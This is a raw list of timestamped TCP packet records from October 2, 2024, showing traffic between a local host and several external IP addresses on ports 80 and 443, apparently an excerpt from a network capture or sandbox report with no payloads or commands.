Oct 2, 2024 05:20:03.988234043 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988245964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988250971 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988260984 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988274097 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988296986 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988436937 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988449097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988454103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988464117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988476038 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988486052 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988497019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988507986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988514900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988518953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988529921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988533974 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988542080 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988554955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988564968 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988575935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988600969 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988625050 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988835096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988904953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988923073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988934994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988945961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988946915 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988957882 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988965988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988982916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989000082 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989173889 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989185095 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989196062 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989209890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989227057 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989229918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989237070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989242077 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989248991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989255905 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989289045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989293098 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989310026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989314079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989326000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989336967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989346027 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989348888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989358902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989361048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989372969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989382982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989409924 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989872932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989885092 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989895105 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989906073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989916086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989927053 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989936113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989938974 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989949942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989953041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989962101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989967108 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989981890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.989984989 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.989995003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.990006924 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.990012884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.990017891 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.990026951 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.990051031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.007292032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.007329941 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.012262106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.012271881 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.012295961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.012367010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.012377024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.064143896 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.064167023 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.064228058 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.064258099 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.064280987 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.064312935 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.076452971 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.076510906 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.076523066 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.076555967 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.076580048 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.076627970 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.076694012 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.076704979 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.076730013 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:04.076735020 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:04.107858896 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.107949018 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:04.108457088 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.108807087 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.108840942 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:04.335535049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.335601091 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.432611942 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.432666063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.437499046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.437525034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.437572002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.591886044 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:04.591962099 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.594069958 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.594120979 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:04.594373941 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:04.595922947 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.595983028 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:04.596009970 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:04.718554020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.719434977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.763398886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:04.768352032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.965730906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:04.965861082 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:05.046042919 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:05.046127081 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:05.046228886 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:05.273753881 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:05.273755074 CEST	49779	443	192.168.2.4	104.21.16.12
Oct 2, 2024 05:20:05.273816109 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:05.273844004 CEST	443	49779	104.21.16.12	192.168.2.4
Oct 2, 2024 05:20:05.807724953 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:05.812623024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.007245064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.007391930 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.351109028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.356046915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527642012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527659893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527671099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527683973 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527693987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527707100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527715921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527723074 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.527765036 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.527905941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527920961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527931929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527954102 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.527956963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527971983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.527977943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.527996063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.528026104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.528037071 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.528050900 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.528080940 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.528105974 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.528122902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.528140068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.528152943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.528186083 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607162952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607177019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607191086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607201099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607228041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607244015 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607261896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607274055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607304096 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607341051 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607378960 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607388020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607399940 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607436895 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607477903 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607487917 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607508898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607532024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607533932 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607567072 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607589006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607604980 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607640028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607664108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607676983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607712984 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607744932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607755899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607781887 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607805967 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607809067 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607820034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607832909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607839108 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607861042 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607872009 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.607892036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607934952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.607945919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608006954 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608010054 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.608017921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608030081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608062029 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.608073950 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.608093977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608104944 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608114958 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.608139992 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.608153105 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.686589003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.686603069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.686619997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.686630964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.686640978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.686646938 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.686654091 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.686664104 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.686697960 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687355995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687416077 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687433004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687444925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687454939 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687484026 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687505960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687515974 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687526941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687552929 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687566996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687606096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687623978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687632084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687638998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687659025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687666893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687669039 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687696934 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687707901 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687728882 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687742949 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.687763929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687773943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.687808990 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688143969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688196898 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688208103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688232899 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688267946 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688271046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688285112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688294888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688303947 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688330889 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688334942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688395977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688406944 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688433886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688436985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688448906 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688457012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688471079 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688528061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688539982 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688549995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688565016 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688576937 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688591957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688596010 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688627005 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688726902 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688740015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688782930 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688817978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688827038 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688873053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688939095 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688951015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688961029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688970089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.688976049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.688982964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689004898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689027071 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689073086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689085007 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689121962 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689137936 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689147949 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689182043 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689222097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689234018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689244986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689254999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689259052 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689268112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689280033 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689306021 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689378977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689431906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689441919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689455986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689480066 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689480066 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689505100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689558029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689569950 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689580917 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.689591885 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689605951 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.689620972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.766269922 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766297102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766309023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766321898 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766369104 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.766371965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766385078 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766408920 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.766422987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.766458988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766472101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766482115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766494036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.766510010 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.766540051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:06.767086029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:06.767122030 CEST	80	49775	46.8.231.109	192.168.2.4
